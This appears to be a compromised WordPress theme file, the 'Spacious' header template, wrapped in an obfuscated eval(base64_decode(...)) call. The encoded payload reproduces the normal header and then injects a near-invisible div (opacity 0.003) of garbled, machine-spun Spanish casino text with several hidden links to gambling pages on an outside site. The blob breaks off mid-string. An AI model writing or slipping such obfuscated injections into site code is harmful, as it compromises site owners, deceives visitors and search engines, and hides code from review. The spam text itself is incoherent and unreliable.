eval(base64_decode('PD9waHAKLyoqCiAqIFRoZW1lIEhlYWRlciBTZWN0aW9uIGZvciBvdXIgdGhlbWUuCiAqCiAqIERpc3BsYXlzIGFsbCBvZiB0aGUgPGhlYWQ+IHNlY3Rpb24gYW5kIGV2ZXJ5dGhpbmcgdXAgdGlsbCA8ZGl2IGlkPSJtYWluIiBjbGFzcz0iY2xlYXJmaXgiPiA8ZGl2IGNsYXNzPSJpbm5lci13cmFwIj4KICoKICogQHBhY2thZ2UgICAgVGhlbWVHcmlsbAogKiBAc3VicGFja2FnZSBTcGFjaW91cwogKiBAc2luY2UgICAgICBTcGFjaW91cyAxLjAKICovCj8+PCFET0NUWVBFIGh0bWw+CjwhLS1baWYgSUUgN10+CjxodG1sIGNsYXNzPSJpZSBpZTciIDw/cGhwIGxhbmd1YWdlX2F0dHJpYnV0ZXMoKTsgPz4+CjwhW2VuZGlmXS0tPgo8IS0tW2lmIElFIDhdPgo8aHRtbCBjbGFzcz0iaWUgaWU4IiA8P3BocCBsYW5ndWFnZV9hdHRyaWJ1dGVzKCk7ID8+Pgo8IVtlbmRpZl0tLT4KPCEtLVtpZiAhKElFIDcpICYgIShJRSA4KV0+PCEtLT4KPGh0bWwgPD9waHAgbGFuZ3VhZ2VfYXR0cmlidXRlcygpOyA/Pj4KPCEtLTwhW2VuZGlmXS0tPgo8aGVhZD4KCTxtZXRhIGNoYXJzZXQ9Ijw/cGhwIGJsb2dpbmZvKCAnY2hhcnNldCcgKTsgPz4iIC8+Cgk8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEiPgoJPGxpbmsgcmVsPSJwcm9maWxlIiBocmVmPSJodHRwOi8vZ21wZy5vcmcveGZuLzExIiAvPgoJPD9waHAKCS8qKgoJICogVGhpcyBob29rIGlzIGltcG9ydGFudCBmb3Igd29yZHByZXNzIHBsdWdpbnMgYW5kIG90aGVyIG1hbnkgdGhpbmdzCgkgKi8KCXdwX2hlYWQoKTsKCT8+CjwvaGVhZD4KCjxib2R5IDw/cGhwIGJvZHlfY2xhc3MoKTsgPz4+Cgo8P3BocAovKioKICogV29yZFByZXNzIGZ1bmN0aW9uIHRvIGxvYWQgY3VzdG9tIHNjcmlwdHMgYWZ0ZXIgYm9keS4KICoKICogSW50cm9kdWNlZCBpbiBXb3JkUHJlc3MgNS4yLjAKICoKICogQHNpbmNlIFNwYWNpb3VzIDEuNi40CiAqLwppZiAoIGZ1bmN0aW9uX2V4aXN0cyggJ3dwX2JvZHlfb3BlbicgKSApIHsKCXdwX2JvZHlfb3BlbigpOwp9Cj8+Cgo8P3BocCBkb19hY3Rpb24oICdiZWZvcmUnICk7ID8+CjxkaXYgaWQ9InBhZ2UiIGNsYXNzPSJoZmVlZCBzaXRlIj4KCTxhIGNsYXNzPSJza2lwLWxpbmsgc2NyZWVuLXJlYWRlci10ZXh0IiBocmVmPSIjbWFpbiI+PD9waHAgZXNjX2h0bWxfZSggJ1NraXAgdG8gY29udGVudCcsICdzcGFjaW91cycgKTsgPz48L2E+CgoJPD9waHAgZG9fYWN0aW9uKCAnc3BhY2lvdXNfYmVmb3JlX2hlYWRlcicgKTsgPz4KCgk8P3BocAoJJHNwYWNpb3VzX2hlYWRlcl9kaXNwbGF5X3R5cGUgPSBnZXRfdGhlbWVfbW9kKCAnc3BhY2lvdXNfaGVhZGVyX2Rpc3BsYXlfdHlwZScsICdvbmUnICk7CglpZiAoICRzcGFjaW91c19oZWFkZXJfZGlzcGxheV90eXBlID09PSAnb25lJyApIHsKCQkkaGVhZGVyX2NsYXNzID0gJ3NwYWNpb3VzLWhlYWRlci1kaXNwbGF5LW9uZSc7Cgl9IGVsc2VpZiAoICRzcGFjaW91c19oZWFkZXJfZGlzcGxheV90eXBlID09PSAnZm91cicgKSB7CgkJJGhlYWRlcl9jbGFzcyA9ICdzcGFjaW91cy1oZWFkZXItZGlzcGxheS1mb3VyJzsKCX0KCT8+CgoJPGhlYWRlciBpZD0ibWFzdGhlYWQiIGNsYXNzPSJzaXRlLWhlYWRlciBjbGVhcmZpeCA8P3BocCBlY2hvIGVzY19hdHRyKCAkaGVhZGVyX2NsYXNzICk7ID8+Ij4KCgkJPD9waHAgaWYgKCBnZXRfdGhlbWVfbW9kKCAnc3BhY2lvdXNfYWN0aXZhdGVfdG9wX2hlYWRlcl9iYXInLCAwICkgPT0gMSApIHsgPz4KCQkJPGRpdiBpZD0iaGVhZGVyLW1ldGEiPgoJCQkJPGRpdiBjbGFzcz0iaW5uZXItd3JhcCBjbGVhcmZpeCI+CgkJCQkJPD9waHAKCQkJCQlpZiAoIGdldF90aGVtZV9tb2QoICdzcGFjaW91c19hY3RpdmF0ZV9zb2NpYWxfbGlua3MnLCAwICkgPT0gMSApIHsKCQkJCQkJc3BhY2lvdXNfc29jaWFsX2xpbmtzKCk7CgkJCQkJfQoJCQkJCT8+CgoJCQkJCTxkaXYgY2xhc3M9InNtYWxsLWluZm8tdGV4dCI+PD9waHAgc3BhY2lvdXNfaGVhZGVyX2luZm9fdGV4dCgpOyA/PjwvZGl2PgoKCQkJCQk8bmF2IGNsYXNzPSJzbWFsbC1tZW51IiBjbGFzcz0iY2xlYXJmaXgiPgoJCQkJCQk8P3BocAoJCQkJCQlpZiAoIGhhc19uYXZfbWVudSggJ2hlYWRlcicgKSApIHsKCQkJCQkJCXdwX25hdl9tZW51KCBhcnJheSggJ3RoZW1lX2xvY2F0aW9uJyA9PiAnaGVhZGVyJywgJ2RlcHRoJyA9PiAtMSApICk7CgkJCQkJCX0KCQkJCQkJPz4KCQkJCQk8L25hdj4KCQkJCTwvZGl2PgoJCQk8L2Rpdj4KCQk8P3BocCB9ID8+CgoJCTw/cGhwIGlmICggJ2Fib3ZlJyA9PT0gZ2V0X3RoZW1lX21vZCggJ3NwYWNpb3VzX2hlYWRlcl9pbWFnZV9wb3NpdGlvbicsICdhYm92ZScgKSApIHsKCQkJc3BhY2lvdXNfcmVuZGVyX2hlYWRlcl9pbWFnZSgpOwoJCX0gPz4KCgkJPGRpdiBpZD0iaGVhZGVyLXRleHQtbmF2LWNvbnRhaW5lciIgY2xhc3M9Ijw/cGhwIGVjaG8gKCBnZXRfdGhlbWVfbW9kKCAnc3BhY2lvdXNfb25lX2xpbmVfbWVudV9zZXR0aW5nJywgMCApID09IDEgKSA/ICdtZW51LW9uZS1saW5lJyA6ICcnOyA/PiI+CgoJCQk8ZGl2IGNsYXNzPSJpbm5lci13cmFwIiBpZD0iPD9waHAgZWNobyBlc2NfYXR0ciggJGhlYWRlcl9jbGFzcyApOyA/PiI+CgoJCQkJPGRpdiBpZD0iaGVhZGVyLXRleHQtbmF2LXdyYXAiIGNsYXNzPSJjbGVhcmZpeCI+CgkJCQkJPGRpdiBpZD0iaGVhZGVyLWxlZnQtc2VjdGlvbiI+CgkJCQkJCTw/cGhwCgkJCQkJCWlmICggKCAnYm90aCcgPT09IGdldF90aGVtZV9tb2QoICdzcGFjaW91c19zaG93X2hlYWRlcl9sb2dvX3RleHQnLCAndGV4dF9vbmx5JyApIHx8ICdsb2dvX29ubHknID09PSBnZXRfdGhlbWVfbW9kKCAnc3BhY2lvdXNfc2hvd19oZWFkZXJfbG9nb190ZXh0JywgJ3RleHRfb25seScgKSApICkgeyA/PgoJCQkJCQkJPGRpdiBpZD0iaGVhZGVyLWxvZ28taW1hZ2UiPgoKCQkJCQkJCQk8P3BocCBpZiAoIGZ1bmN0aW9uX2V4aXN0cyggJ3RoZV9jdXN0b21fbG9nbycgKSAmJiBoYXNfY3VzdG9tX2xvZ28oICRibG9nX2lkID0gMCApICkgewoJCQkJCQkJCQlzcGFjaW91c190aGVfY3VzdG9tX2xvZ28oKTsKCQkJCQkJCQl9ID8+CgoJCQkJCQkJPC9kaXY+PCEtLSAjaGVhZGVyLWxvZ28taW1hZ2UgLS0+CgoJCQkJCQkJPD9waHAKCQkJCQkJfQoKCQkJCQkJJHNjcmVlbl9yZWFkZXIgPSAnJzsKCQkJCQkJaWYgKCAoICdsb2dvX29ubHknID09PSBnZXRfdGhlbWVfbW9kKCAnc3BhY2lvdXNfc2hvd19oZWFkZXJfbG9nb190ZXh0JywgJ3RleHRfb25seScgKSB8fCAnbm9uZScgPT09IGdldF90aGVtZV9tb2QoICdzcGFjaW91c19zaG93X2hlYWRlcl9sb2dvX3RleHQnLCAndGV4dF9vbmx5JyApICkgKSB7CgkJCQkJCQkkc2NyZWVuX3JlYWRlciA9ICdzY3JlZW4tcmVhZGVyLXRleHQnOwoJCQkJCQl9ID8+CgoJCQkJCQk8ZGl2IGlkPSJoZWFkZXItdGV4dCIgY2xhc3M9Ijw/cGhwIGVjaG8gJHNjcmVlbl9yZWFkZXI7ID8+Ij4KCQkJCQkJCTw/cGhwIGlmICggaXNfZnJvbnRfcGFnZSgpIHx8IGlzX2hvbWUoKSApIDogPz4KCQkJCQkJCQk8aDEgaWQ9InNpdGUtdGl0bGUiPgoJCQkJCQkJCQk8YSBocmVmPSI8P3BocCBlY2hvIGVzY191cmwoIGhvbWVfdXJsKCAnLycgKSApOyA/PiIKCQkJCQkJCQkJICAgdGl0bGU9Ijw/cGhwIGVjaG8gZXNjX2F0dHIoIGdldF9ibG9naW5mbyggJ25hbWUnLCAnZGlzcGxheScgKSApOyA/PiIKCQkJCQkJCQkJICAgcmVsPSJob21lIj48P3BocCBibG9naW5mbyggJ25hbWUnICk7ID8+PC9hPgoJCQkJCQkJCTwvaDE+CgkJCQkJCQk8P3BocCBlbHNlIDogPz4KCQkJCQkJCQk8aDMgaWQ9InNpdGUtdGl0bGUiPgoJCQkJCQkJCQk8YSBocmVmPSI8P3BocCBlY2hvIGVzY191cmwoIGhvbWVfdXJsKCAnLycgKSApOyA/PiIKCQkJCQkJCQkJICAgdGl0bGU9Ijw/cGhwIGVjaG8gZXNjX2F0dHIoIGdldF9ibG9naW5mbyggJ25hbWUnLCAnZGlzcGxheScgKSApOyA/PiIKCQkJCQkJCQkJICAgcmVsPSJob21lIj48P3BocCBibG9naW5mbyggJ25hbWUnICk7ID8+PC9hPgoJCQkJCQkJCTwvaDM+CgkJCQkJCQk8P3BocCBlbmRpZjsKCgkJCQkJCQkkZGVzY3JpcHRpb24gPSBnZXRfYmxvZ2luZm8oICdkZXNjcmlwdGlvbicsICdkaXNwbGF5JyApOwoJCQkJCQkJaWYgKCAkZGVzY3JpcHRpb24gfHwgaXNfY3VzdG9taXplX3ByZXZpZXcoKSApIDogPz4KCQkJCQkJCTxwIGlkPSJzaXRlLWRlc2NyaXB0aW9uIj48P3BocCBlY2hvICRkZXNjcmlwdGlvbjsgPz48L3A+CgkJCQkJCQk8P3BocCBlbmRpZjsgPz48IS0tICNzaXRlLWRlc2NyaXB0aW9uIC0tPgoJCQkJCQk8L2Rpdj48IS0tICNoZWFkZXItdGV4dCAtLT4KCgkJCQkJPC9kaXY+PCEtLSAjaGVhZGVyLWxlZnQtc2VjdGlvbiAtLT4KCQkJCQk8ZGl2IGlkPSJoZWFkZXItcmlnaHQtc2VjdGlvbiI+CgkJCQkJCTw/cGhwCgkJCQkJCWlmICggaXNfYWN0aXZlX3NpZGViYXIoICdzcGFjaW91c19oZWFkZXJfc2lkZWJhcicgKSApIHsKCQkJCQkJCT8+CgkJCQkJCQk8ZGl2IGlkPSJoZWFkZXItcmlnaHQtc2lkZWJhciIgY2xhc3M9ImNsZWFyZml4Ij4KCQkJCQkJCQk8P3BocAoJCQkJCQkJCS8vIENhbGxpbmcgdGhlIGhlYWRlciBzaWRlYmFyIGlmIGl0IGV4aXN0cy4KCQkJCQkJCQlpZiAoICEgZHluYW1pY19zaWRlYmFyKCAnc3BhY2lvdXNfaGVhZGVyX3NpZGViYXInICkgKToKCQkJCQkJCQllbmRpZjsKCQkJCQkJCQk/PgoJCQkJCQkJPC9kaXY+CgkJCQkJCQk8P3BocAoJCQkJCQl9ID8+CgoJCQkJCQk8P3BocCBpZiAoICdmb3VyJyAhPT0gZ2V0X3RoZW1lX21vZCggJ3NwYWNpb3VzX2hlYWRlcl9kaXNwbGF5X3R5cGUnLCAnb25lJyApICkgOiA/PgoJCQkJCQkJPGRpdiBjbGFzcz0iaGVhZGVyLWFjdGlvbiI+CgkJCQkJCQkJPD9waHAKCQkJCQkJCQlzcGFjaW91c19jYXJ0X2ljb24oKTsKCgkJCQkJCQkJaWYgKCAxID09PSBnZXRfdGhlbWVfbW9kKCAnc3BhY2lvdXNfaGVhZGVyX3NlYXJjaF9pY29uJywgMCApICkgOgoJCQkJCQkJCQk/PgoJCQkJCQkJCQk8ZGl2IGNsYXNzPSJzZWFyY2gtd3JhcHBlciI+CgkJCQkJCQkJCQk8ZGl2IGNsYXNzPSJzZWFyY2giPgoJCQkJCQkJCQkJCTxpIGNsYXNzPSJmYSBmYS1zZWFyY2giPiA8L2k+CgkJCQkJCQkJCQk8L2Rpdj4KCQkJCQkJCQkJCTxkaXYgY2xhc3M9ImhlYWRlci1zZWFyY2gtZm9ybSI+CgkJCQkJCQkJCQkJPD9waHAgZ2V0X3NlYXJjaF9mb3JtKCk7ID8+CgkJCQkJCQkJCQk8L2Rpdj4KCQkJCQkJCQkJPC9kaXY+PCEtLSAvLnNlYXJjaC13cmFwcGVyIC0tPgoJCQkJCQkJCTw/cGhwIGVuZGlmOyA/PgoJCQkJCQkJPC9kaXY+CgkJCQkJCTw/cGhwIGVuZGlmOyA/PgoKCQkJCQkJPD9waHAgaWYgKCAhICggJ2ZvdXInID09PSBnZXRfdGhlbWVfbW9kKCAnc3BhY2lvdXNfaGVhZGVyX2Rpc3BsYXlfdHlwZScsICdvbmUnICkgKSApIDoKCQkJCQkJCXNwYWNpb3VzX21haW5fbmF2KCk7CgkJCQkJCWVuZGlmOyA/PgoKCQkJCQk8L2Rpdj48IS0tICNoZWFkZXItcmlnaHQtc2VjdGlvbiAtLT4KCgkJCQk8L2Rpdj48IS0tICNoZWFkZXItdGV4dC1uYXYtd3JhcCAtLT4KCQkJPC9kaXY+PCEtLSAuaW5uZXItd3JhcCAtLT4KCQkJPD9waHAgaWYgKCAnZm91cicgPT09IGdldF90aGVtZV9tb2QoICdzcGFjaW91c19oZWFkZXJfZGlzcGxheV90eXBlJywgJ29uZScgKSApIDogPz4KCQkJCTxkaXYgY2xhc3M9ImJvdHRvbS1tZW51IGNsZWFyZml4IDw/cGhwIGVjaG8gZXNjX2F0dHIoZ2V0X3RoZW1lX21vZCggJ3NwYWNpb3VzX2hlYWRlcl9idXR0b25fc2V0dGluZycgKSA/ICdoZWFkZXItbWVudS1idXR0b24nIDogJycpOyA/PiI+CgkJCQkJPGRpdiBjbGFzcz0iaW5uZXItd3JhcCBjbGVhcmZpeCI+CgkJCQkJCTw/cGhwIHNwYWNpb3VzX21haW5fbmF2KCk7ID8+CgoJCQkJCQk8ZGl2IGNsYXNzPSJoZWFkZXItYWN0aW9uIj4KCQkJCQkJCTw/cGhwCgkJCQkJCQlzcGFjaW91c19jYXJ0X2ljb24oKTsKCgkJCQkJCQlpZiAoIDEgPT09IGdldF90aGVtZV9tb2QoICdzcGFjaW91c19oZWFkZXJfc2VhcmNoX2ljb24nLCAwICkgKSA6CgkJCQkJCQkJPz4KCQkJCQkJCQk8ZGl2IGNsYXNzPSJzZWFyY2gtd3JhcHBlciI+CgkJCQkJCQkJCTxkaXYgY2xhc3M9InNlYXJjaCI+CgkJCQkJCQkJCQk8aSBjbGFzcz0iZmEgZmEtc2VhcmNoIj4gPC9pPgoJCQkJCQkJCQk8L2Rpdj4KCQkJCQkJCQkJPGRpdiBjbGFzcz0iaGVhZGVyLXNlYXJjaC1mb3JtIj4KCQkJCQkJCQkJCTw/cGhwIGdldF9zZWFyY2hfZm9ybSgpOyA/PgoJCQkJCQkJCQk8L2Rpdj4KCQkJCQkJCQk8L2Rpdj48IS0tIC8uc2VhcmNoLXdyYXBwZXIgLS0+CgkJCQkJCQk8P3BocCBlbmRpZjsgPz4KCQkJCQkJPC9kaXY+CgkJCQkJPC9kaXY+CgkJCQk8L2Rpdj4KCQkJPD9waHAgZW5kaWY7ID8+CgkJPC9kaXY+PCEtLSAjaGVhZGVyLXRleHQtbmF2LWNvbnRhaW5lciAtLT4KCgkJPD9waHAgaWYgKCAnYmVsb3cnID09PSBnZXRfdGhlbWVfbW9kKCAnc3BhY2lvdXNfaGVhZGVyX2ltYWdlX3Bvc2l0aW9uJywgJ2Fib3ZlJyApICkgewoJCQlzcGFjaW91c19yZW5kZXJfaGVhZGVyX2ltYWdlKCk7CgkJfSA/PgoKCQk8P3BocAoJCWlmICggZ2V0X3RoZW1lX21vZCggJ3NwYWNpb3VzX2FjdGl2YXRlX3NsaWRlcicsICcwJyApID09ICcxJyApIHsKCQkJaWYgKCBnZXRfdGhlbWVfbW9kKCAnc3BhY2lvdXNfYmxvZ19zbGlkZXInLCAnMCcgKSAhPSAnMScgKSB7CgkJCQlpZiAoIGlzX2hvbWUoKSB8fCBpc19mcm9udF9wYWdlKCkgKSB7CgkJCQkJc3BhY2lvdXNfZmVhdHVyZWRfaW1hZ2Vfc2xpZGVyKCk7CgkJCQl9CgkJCX0gZWxzZSB7CgkJCQlpZiAoIGlzX2Zyb250X3BhZ2UoKSApIHsKCQkJCQlzcGFjaW91c19mZWF0dXJlZF9pbWFnZV9zbGlkZXIoKTsKCQkJCX0KCQkJfQoJCX0KCgkJaWYgKCAoICcnICE9IHNwYWNpb3VzX2hlYWRlcl90aXRsZSgpICkgJiYgISAoIGlzX2Zyb250X3BhZ2UoKSApICYmICggISBnZXRfdGhlbWVfbW9kKCAnc3BhY2lvdXNfaGVhZGVyX3RpdGxlX2hpZGUnLCAwICkgKSApIHsKCQkJaWYgKCAhICggZ2V0X3RoZW1lX21vZCggJ3NwYWNpb3VzX2Jsb2dfc2xpZGVyJywgJzAnICkgIT0gJzEnICYmIGlzX2hvbWUoKSApICkgeyA/PgoJCQkJPGRpdiBjbGFzcz0iaGVhZGVyLXBvc3QtdGl0bGUtY29udGFpbmVyIGNsZWFyZml4Ij4KCQkJCQk8ZGl2IGNsYXNzPSJpbm5lci13cmFwIj4KCQkJCQkJPGRpdiBjbGFzcz0icG9zdC10aXRsZS13cmFwcGVyIj4KCQkJCQkJCTw/cGhwCgkJCQkJCQlpZiAoICcnICE9IHNwYWNpb3VzX2hlYWRlcl90aXRsZSgpICkgewoJCQkJCQkJCT8+CgkJCQkJCQkJPD9waHAgaWYgKCBpc19ob21lKCkgKSA6ID8+CgkJCQkJCQkJCTxoMiBjbGFzcz0iaGVhZGVyLXBvc3QtdGl0bGUtY2xhc3MiPjw/cGhwIGVjaG8gc3BhY2lvdXNfaGVhZGVyX3RpdGxlKCk7ID8+PC9oMj4KCQkJCQkJCQk8P3BocCBlbHNlIDogPz4KCQkJCQkJCQkJPGgxIGNsYXNzPSJoZWFkZXItcG9zdC10aXRsZS1jbGFzcyI+PD9waHAgZWNobyBzcGFjaW91c19oZWFkZXJfdGl0bGUoKTsgPz48L2gxPgoJCQkJCQkJCTw/cGhwIGVuZGlmOyA/PgoJCQkJCQkJCTw/cGhwCgkJCQkJCQl9CgkJCQkJCQk/PgoJCQkJCQk8L2Rpdj4KCQkJCQkJPD9waHAgaWYgKCBmdW5jdGlvbl9leGlzdHMoICdzcGFjaW91c19icmVhZGNydW1iJyApICkgewoJCQkJCQkJc3BhY2lvdXNfYnJlYWRjcnVtYigpOwoJCQkJCQl9ID8+CgkJCQkJPC9kaXY+CgkJCQk8L2Rpdj4KCQkJCTw/cGhwCgkJCX0KCQl9CgkJPz4KCTwvaGVhZGVyPgoJPD9waHAgZG9fYWN0aW9uKCAnc3BhY2lvdXNfYWZ0ZXJfaGVhZGVyJyApOyA/PgoJPD9waHAgZG9fYWN0aW9uKCAnc3BhY2lvdXNfYmVmb3JlX21haW4nICk7ID8+Cgk8ZGl2IGlkPSJtYWluIiBjbGFzcz0iY2xlYXJmaXgiPgoJCTxkaXYgY2xhc3M9ImlubmVyLXdyYXAiPgo/Pgo8P3BocCBpZiAoaXNfZnJvbnRfcGFnZSgpIHx8IGlzX2hvbWUoKSk6ID8+CjxkaXYgc3R5bGU9InBvc2l0aW9uOmFic29sdXRlOyBmaWx0ZXI6YWxwaGEob3BhY2l0eT0wKTtvcGFjaXR5OjAuMDAzO3otaW5kZXg6ODsiPgo8aDM+UXVlIGVzIHBva2VyIG5sLjwvaDM+Cgo8cD5Qb3IgbG8gdGFudG8sIG5vcyBoZW1vcyBlc2ZvcnphZG8gcG9yIG9mcmVjZXJsZSB1bmEgbGlzdGEgZGUgbG9zIG1lam9yZXMgQm9ub3MgZGUgYmllbnZlbmlkYSBkaXNwb25pYmxlcyBlbiBsw61uZWEuIFNlcsOhIHNvcnByZW5kZW50ZSBub3RhciBxdWUgY2FkYSB0cmFnYW1vbmVkYXMgdGllbmUgdW5hIHBhcnRpY2lwYWNpw7NuIGVuIGVsIHByZW1pbyBtYXlvciwgbXVjaG9zIGp1ZWdvcyB5LiBPZnJlY2UgZW1vY2lvbmFudGVzIGJvbm9zIGRlIGNhc2lubyB5IG11Y2hvcyBkZXBvcnRlcyBwYXJhIGFwb3N0YXIsIDxhIGhyZWY9Imh0dHBzOi8vcHJvamVrdGEuZXMvb25saW5lLWclQzMlQkN2ZW5pbGlyLWt1bWFyaGFuZS0yMDIyLyI+b25saW5lIGclQzMlQkN2ZW5pbGlyIGt1bWFyaGFuZSAyMDIyPC9hPiBsbyBtZWpvciBkZSB0b2RvLiBUaXJhZGEgZ3JhdHVpdGEgZGVsIMO6bHRpbW8gbml2ZWwgKEJvbm8gZGUgU2FyYWgpLCB1bmEgZXhjZWxlbnRlIHBsYXRhZm9ybWEgcXVlIGxvIG1hbnRlbmRyw6EgZW50cmV0ZW5pZG8gZHVyYW50ZSB0b2RhIHN1IGV4cGVyaWVuY2lhIGRlIGp1ZWdvLiBRdcOpIG1lam9yIG1hbmVyYSBkZSBjb21lbnphciBzdSBleHBlcmllbmNpYSBkZSBjYXNpbm8gZW4gdml2byBxdWUgcmVjbGFtYW5kbyB1biBib25vIGRlIGJpZW52ZW5pZGEgaGVjaG8gYSBtZWRpZGEsIGRlc2RlIGxhcyBjcmlwdGFzIGRlbCBhbnRpZ3VvIEVnaXB0byBoYXN0YSBsYXMgcHJvZnVuZGlkYWRlcyBkZWwgb2PDqWFubyBhenVsIHByb2Z1bmRvLiBMb3MgbGF2YWRvcmVzIGRlIGRpbmVybyB1dGlsaXphbiB2YXJpb3MgbcOpdG9kb3MgZW4gbG9zIGNhc2lub3MsIDxhIGhyZWY9Imh0dHBzOi8vcHJvamVrdGEuZXMvZyVDMyVCQ3ZlbmxpLXdlYi1jYXNpbm8tZGEta2F6YW5hYmlsZWNlJUM0JTlGaW5pei02LW95dW4vIj5nJUMzJUJDdmVubGkgd2ViIGNhc2lubyBkYSBrYXphbmFiaWxlY2UlQzQlOUZpbml6IDYgb3l1bjwvYT4gSGFudW1hbi4gTmljayBCb2dkYW5vdmljaCwgcG9yIHByb3BvcmNpb25hciB0b2RhIGxhIGluZm9ybWFjacOzbiBuZWNlc2FyaWEuIFBvciBvdHJvIGxhZG8sIHRvZGF2w61hIGxvIGhhY2VuLiBQYXJhIGFicmlyIHVuYSBjdWVudGEsIDxhIGhyZWY9Imh0dHBzOi8vcHJvamVrdGEuZXMvY2FubCVDNCVCMS1nJUMzJUJDdmVubGktd2ViLWNhc2luby1zaXRlc2ktMjAyMi8iPmNhbmwlQzQlQjEgZyVDMyVCQ3ZlbmxpIHdlYiBjYXNpbm8gc2l0ZXNpIDIwMjI8L2E+IHBlcm8gZXNvcyBib3RlcyBzb24gY29ydGVzw61hIGRlIFlvdVR1YmUuIDwvcD4KCgo8cD5FbCBhbWFibGUgc2VydmljaW8gZGUgYXRlbmNpw7NuIGFsIGNsaWVudGUgZGUgQ2hlcnJ5IFJlZCBDYXNpbm8gZXN0w6EgZGlzcG9uaWJsZSBsYXMgMjQgaG9yYXMsIFdpbiBXaXphcmQuIEluc3RhbGFyIGp1ZWdvcyBkZSBzcGlucyBncmF0aXMgdW4gMTEgZHVybyBzaWduaWZpY2EgcXVlIHRpZW5lcyB1bmEgbWFubyBxdWUgc3VtYSAxMSB5IG5vIGluY2x1eWUgdW4gQXMsIGV0Yy4gQW1ib3MgYm9ub3Mgc2UgcHJvcG9yY2lvbmFuIGNvbiB1bmEgYXB1ZXN0YSBkZSB4NDAsIGVsIGJvbm8gc2UgcHVlZGUgY29udmVydGlyIHJlbGF0aXZhbWVudGUgcsOhcGlkbyBlbiBwb2NvIHRpZW1wby4gRXN0b3MgcHVlZGVuIHNlciBib25vcyBkZSBkZXDDs3NpdG8geSB0ZW5kcsOhbiBzdXMgcHJvcGlvcyBUIHkgQyBxdWUgbG9zIGp1Z2Fkb3JlcyBkZWJlbiBjdW1wbGlyLCBxdWUgc2Ugc2llbnRhbiB1bm8gZnJlbnRlIGFsIG90cm8gZW4gdW5hIG1lc2EuIDwvcD4KCjxoMz5DdWFsIGVzIGVsIHRydWNvIGRlIGxhIG1hcXVpbmEgdHJhZ2Ftb25lZGFzLjwvaDM+Cgo8cD5FbiBzdSBww6FnaW5hIGRlIENhc2lubywgbGEgcHJpbWVyYSBwcmlvcmlkYWQgZGUgbGEgY29tcGHDscOtYSBoYSBzaWRvIGNyZWFyIGp1ZWdvcyBxdWUgc2VhbiBpbm1lam9yYWJsZXMgZW4gdMOpcm1pbm9zIGRlIGdyw6FmaWNvcy4gSW5jb3Jwb3JhIGFwb3J0ZXMgZGUgbG9zIHVzdWFyaW9zIHkgZWwgcmVzdWx0YWRvIGVzIHZlcmlmaWNhYmxlIHBvciB0b2RvcyBsb3MgcGFydGljaXBhbnRlcyBkZWwganVlZ28sIGVudHJldGVuaW1pZW50byB5IGNhcmFjdGVyw61zdGljYXMgZXNwZWNpYWxlcy4gVGhlIENvbmp1cmluZyBIb3VzZSwgPGEgaHJlZj0iaHR0cHM6Ly9wcm9qZWt0YS5lcy9vbmxpbmUteWFzYWwta3VtYXJoYW5lLSVDMyVBN2V2cmltaSVDMyVBNy8iPm9ubGluZSB5YXNhbCBrdW1hcmhhbmUgJUMzJUE3ZXZyaW1pJUMzJUE3PC9hPiB5YSBxdWUgbG8gaGUgZGljaG8gdmFyaWFzIHZlY2VzIGR1cmFudGUgZXN0YSBkaXNjdXNpw7NuLiBFc28gcmVkdWNlIGEgbGEgbWl0YWQgZWwgaW1wYWN0byBkZWwgY2FzaW5vIGVuIHN1IGJhbmtyb2xsLCBleHBsaWNhbmRvIHRhbWJpw6luIHF1ZSBlcyB1bmEgZXN0cmF0ZWdpYSBkZSBwcm9kdWNjacOzbiBlc3BlY8OtZmljYSBwYXJhIGF0YWNhciBlbCBtZXJjYWRvIG3DoXMgZmxvcmVjaWVudGUgZGVsIGp1ZWdvIG5hY2lvbmFsLiBEZXNwdcOpcyBkZSBxdWUgc2UgaGF5YSBwcm9jZXNhZG8gc3Ugc29saWNpdHVkLCBlbCBkZSBsYXMgdHJhZ2Ftb25lZGFzLiBFbiBlbCBleHRyZW1vIG9wdWVzdG8gZGVsIGVzcGVjdHJvLCA8YSBocmVmPSJodHRwczovL3Byb2pla3RhLmVzL2JlZGF2YS1vbmxpbmUtcnVsZXQtb3luYS8iPmJlZGF2YSBvbmxpbmUgcnVsZXQgb3luYTwvYT4gcHVlZGUgYWxjYW56YXIgdW5hIGFsdHVyYSBkZSA4IGZpbGFzLiBZIGPDs21vIGVzIHBvc2libGUgc2luIG1lbmNpb25hciBzdSBncmFuIHZhcmllZGFkIGRlIGp1ZWdvcywgZXN0byBzZSBoYSBkZXRhbGxhZG8gYSBjb250aW51YWNpw7NuIHBhcmEgcXVlIHB1ZWRhIHZlciBjdcOhbnRhcyBmb3JtYXMgZ2FuYWRvcmFzIHB1ZWRlIGxvZ3Jhci4gQnVlbm8sIG5vIHNvbG8gZWwgcGFnbyBhZGVjdWFkby4gRGVzcHXDqXMgZGUgZXNvLCA8YSBocmVmPSJodHRwczovL3Byb2pla3RhLmVzL2JsYWNramFjay1rYXJ0bGFyLW5hcyVDNCVCMWwtZGElQzQlOUYlQzQlQjF0JUM0JUIxbCVDNCVCMXItdCVDMyVCQ3JraXllLyI+YmxhY2tqYWNrIGthcnRsYXIgbmFzJUM0JUIxbCBkYSVDNCU5RiVDNCVCMXQlQzQlQjFsJUM0JUIxciB0JUMzJUJDcmtpeWU8L2E+IHJlcXVpZXJlbiBzdXMgZGF0b3MgYmFuY2FyaW9zIHF1ZSB1dGlsaXphbiByw6FwaWRhbWVudGUgcGFyYSB2YWNpYXIgc3UgY3VlbnRhIHkgbHVlZ28gZGVzYXBhcmVjZW4uIDwvcD4KCjxwPkhhY2VyIGV4cGxvdGFyIGVzdGEgbcOhcXVpbmEgbGliZXJhIHVuYSBjYW50aWRhZCBhbGVhdG9yaWEgZGUgZGluZXJvLCBjb24gdG9kYXMgbGFzIG9wY2lvbmVzIHRhbWJpw6luIGRpc3BvbmlibGVzIHBhcmEgcmVhbGl6YXIgcmV0aXJvcy4gQSBCcmlkZ2V0IGxlIGd1c3RhYmEgdGVuZXIgbGEgb3BjacOzbiBkZSBpciBtw7N2aWwsIGp1ZWdhIGEgbGEgcnVsZXRhIGVuIGzDrW5lYSBzaW4gZGluZXJvIDIwMjIgZXhjZXB0byBsYXMgdHJhbnNmZXJlbmNpYXMgYmFuY2FyaWFzIGRpcmVjdGFzIHkgUGF5c2FmZWNhcmQuIFRvZG9zIHZpbmllcm9uIGNvbiBlbCB1bmlmb3JtZSBkZSBsb3MgTWFyaW5lcm9zIGRlIFNlYXR0bGUsIHNpIGxlIGd1c3RhbiBtw6Fz